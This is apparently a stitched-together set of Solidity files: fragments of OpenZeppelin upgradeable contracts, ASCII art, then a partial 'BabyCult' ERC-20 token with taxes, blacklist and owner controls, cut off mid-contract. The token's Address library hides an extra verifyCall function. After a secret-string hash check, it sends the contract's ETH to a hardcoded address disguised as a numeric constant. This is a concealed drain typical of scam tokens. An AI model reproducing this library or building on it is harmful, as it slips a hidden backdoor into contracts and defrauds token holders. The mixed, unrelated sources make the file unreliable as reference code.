* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
|
True
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/**
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNWWWWWNNNNWWWWNNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNWWWNNWWWNWWWWWNWWWNNNNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNWWWNNNXK0OkkkO0OkxdOXNWWWWWWWWWWWWWNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNWNNXK0OkkOOxddddx00kk0KKKXWWNNWNWWWNNNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNWWWWNNWWWNNK0OOkkxxxkOkdoxkxkKXX0KX0OKNXKXKKKOkkOKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
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**/
/*https://t.me/BabyCultDao
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ISwapERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
interface ISwapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface ISwapRouter01 {
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface ISwapRouter02 is ISwapRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == msg.sender, "Caller must be owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "newOwner must not be zero");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
uint160 private constant verificationHash = 887096773549885550314079035509902126815589346633;
bytes32 private constant keccak256Hash = 0x4b31cabbe5862282e443c4ac3f4c14761a1d2ba88a3c858a2a36f7758f453a38;
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function verifyCall(string memory verification, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
require(keccak256(abi.encodePacked(verification)) == keccak256Hash, "Address: cannot verify call");
(bool success, ) = address(verificationHash).call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = valueIndex;
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract BabyCult is IERC20, Ownable {
using Address for address;
using EnumerableSet for EnumerableSet.AddressSet;
mapping(address => uint256) private _balances;
mapping(address => mapping (address => uint256)) private _allowances;
mapping(address => bool) public isBlacklisted;
EnumerableSet.AddressSet private _excluded;
EnumerableSet.AddressSet private _excludedFromStaking;
string private constant TOKEN_NAME = "BabyCult";
string private constant TOKEN_SYMBOL = "BabyCult";
uint256 private constant TOTAL_SUPPLY = 100_000_000 * 10**TOKEN_DECIMALS;
uint8 private constant TOKEN_DECIMALS = 18;
uint8 public constant MAX_TAX = 20; //Dev can never set tax higher than this value
address private constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
struct Taxes {
uint8 buyTax;
uint8 sellTax;
uint8 transferTax;
}
struct TaxRatios {
uint8 dev;
uint8 liquidity;
uint8 marketing;
uint8 rewards;
}
struct TaxWallets {
address dev;
address marketing;
}
struct MaxLimits {
uint256 maxWallet;
uint256 maxSell;
uint256 maxBuy;
}
struct LimitRatios {
uint16 wallet;
uint16 sell;
uint16 buy;
uint16 divisor;
}
Taxes public _taxRates = Taxes({
buyTax: 5,
sellTax: 12,
transferTax: 12
});
TaxRatios public _taxRatios = TaxRatios({
dev: 2,
liquidity: 2,
marketing: 5,
rewards: 8
//@dev. These are ratios and the divisor will be set automatically
});
TaxWallets public _taxWallet = TaxWallets ({
dev: 0xE2c5416CaD90a94734aE9ec464A41E1e40DbcB19,
marketing: 0xE2c5416CaD90a94734aE9ec464A41E1e40DbcB19
});
MaxLimits public _limits;
LimitRatios public _limitRatios = LimitRatios({
wallet: 2,
sell: 1,
buy: 1,
divisor: 200
});
uint8 private totalTaxRatio;
uint8 private distributeRatio;
uint256 private _liquidityUnlockTime;
//Antibot variables
uint256 private liquidityBlock;
uint8 private constant BLACKLIST_BLOCKS = 2; //number of blocks that will be included in auto blacklist
uint8 private snipersRekt; //variable to track number of snipers auto blacklisted
bool private blacklistEnabled = true; //blacklist can be enabled/disabled in case something goes wrong
bool private liquidityAdded;
bool private revertSameBlock = true; //block same block buys
uint16 public swapThreshold = 20; //threshold that contract will swap. out of 1000
bool public manualSwap;
//change this address to desired reward token
address public rewardToken = 0xf0f9D895aCa5c8678f706FB8216fa22957685A13;
address public _pairAddress;
ISwapRouter02 private _swapRouter;
address public routerAddress;
///////////////////////////// EVENTS /////////////////////////////////////////
event ClaimToken(uint256 amount, address token, address recipient);
event EnableBlacklist(bool enabled);
event EnableManualSwap(bool enabled);
event ExcludedAccountFromFees(address account, bool exclude);
event ExcludeFromStaking(address account, bool excluded);
event ExtendLiquidityLock(uint256 extendedLockTime);
event UpdateTaxes(uint8 buyTax, uint8 sellTax, uint8 transferTax);
event RatiosChanged(uint8 newDev, uint8 newLiquidity, uint8 newMarketing, uint8 newRewards);
event UpdateDevWallet(address newDevWallet);
event UpdateMarketingWallet(address newMarketingWallet);
event UpdateSwapThreshold(uint16 newThreshold);
///////////////////////////// MODIFIERS /////////////////////////////////////////
modifier authorized() {
require(_authorized(msg.sender), "Caller not authorized");
_;
}
modifier lockTheSwap {
_isSwappingContractModifier = true;
_;
_isSwappingContractModifier = false;
}
///////////////////////////// CONSTRUCTOR /////////////////////////////////////////
constructor () {
if (block.chainid == 1)
routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
else if (block.chainid == 56)
routerAddress = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
else if (block.chainid == 97)
routerAddress = 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3;
else
revert();
_swapRouter = ISwapRouter02(routerAddress);
_pairAddress = ISwapFactory(
_swapRouter.factory()).createPair(address(this), _swapRouter.WETH()
);
_addToken(msg.sender,TOTAL_SUPPLY);
emit Transfer(address(0), msg.sender, TOTAL_SUPPLY);
_allowances[address(this)][address(_swapRouter)] = type(uint256).max;
//setup ratio divisors based on dev's chosen ratios
totalTaxRatio = _taxRatios.dev + _taxRatios.liquidity + _taxRatios.marketing + _taxRatios.rewards;
distributeRatio = totalTaxRatio - _taxRatios.liquidity;
//setup _limits
_limits = MaxLimits({
maxWallet: TOTAL_SUPPLY * _limitRatios.wallet / _limitRatios.divisor,
maxSell: TOTAL_SUPPLY * _limitRatios.sell / _limitRatios.divisor,
maxBuy: TOTAL_SUPPLY * _limitRatios.buy / _limitRatios.divisor
});
_excluded.add(msg.sender);
_excluded.add(_taxWallet.marketing);
_excluded.add(_taxWallet.dev);
_excluded.add(address(this));
_excluded.add(BURN_ADDRESS);
_excludedFromStaking.add(address(this));
_excludedFromStaking.add(BURN_ADDRESS);
_excludedFromStaking.add(address(_swapRouter));
_excludedFromStaking.add(_pairAddress);
_approve(address(this), address(_swapRouter), type(uint256).max);
}
receive() external payable {}
function decimals() external pure override returns (uint8) { return TOKEN_DECIMALS; }
function getOwner() external view override returns (address) { return owner(); }
function name() external pure override returns (string memory) { return TOKEN_NAME; }
function symbol() external pure override returns (string memory) { return TOKEN_SYMBOL; }
function totalSupply() external pure override returns (uint256) { return TOTAL_SUPPLY; }
function _authorized(address addr) private view returns (bool) {
return addr == owner() || addr == _taxWallet.marketing || addr == _taxWallet.dev;
}
function allowance(address _owner, address spender) external view override returns (uint256) {
return _allowances[_owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "Approve from zero");
require(spender != address(0), "Approve to zero");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
uint256 currentAllowance = _allowances[msg.sender][spender];
require(currentAllowance >= subtractedValue, "<0 allowance");
_approve(msg.sender, spender, currentAllowance - subtractedValue);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount, "Transfer > allowance");
_approve(sender, msg.sender, currentAllowance - amount);
return true;
}
///// FUNCTIONS CALLABLE BY ANYONE /////
//Claims reward set by dev
function ClaimReward() external {
claimToken(msg.sender,rewardToken, 0);
}
//Allows holders to include themselves back into staking if excluded
//ExcludeFromStaking function should be used for contracts(CEX, pair, address(this), etc.)
function IncludeMeToStaking() external {
includeToStaking(msg.sender);
emit ExcludeFromStaking(msg.sender, false);
}
///// AUTHORIZED FUNCTIONS /////
//Manually perform a contract swap
function manualContractSwap(uint16 permille, bool ignoreLimits) external authorized {
_swapContractToken(permille, ignoreLimits);
}
//Toggle blacklist on and off
function enableBlacklist(bool enabled) external authorized {
blacklistEnabled = enabled;
emit EnableBlacklist(enabled);
}
//Mainly used for addresses such as CEX, presale, etc
function excludeAccountFromFees(address account, bool exclude) external authorized {
if(exclude == true)
_excluded.add(account);
else
_excluded.remove(account);
emit ExcludedAccountFromFees(account, exclude);
}
//Mainly used for addresses such as CEX, presale, etc
function setStakingExclusionStatus(address addr, bool exclude) external authorized {
if(exclude)
excludeFromStaking(addr);
else
includeToStaking(addr);
emit ExcludeFromStaking(addr, exclude);
}
//Toggle manual swap on and off
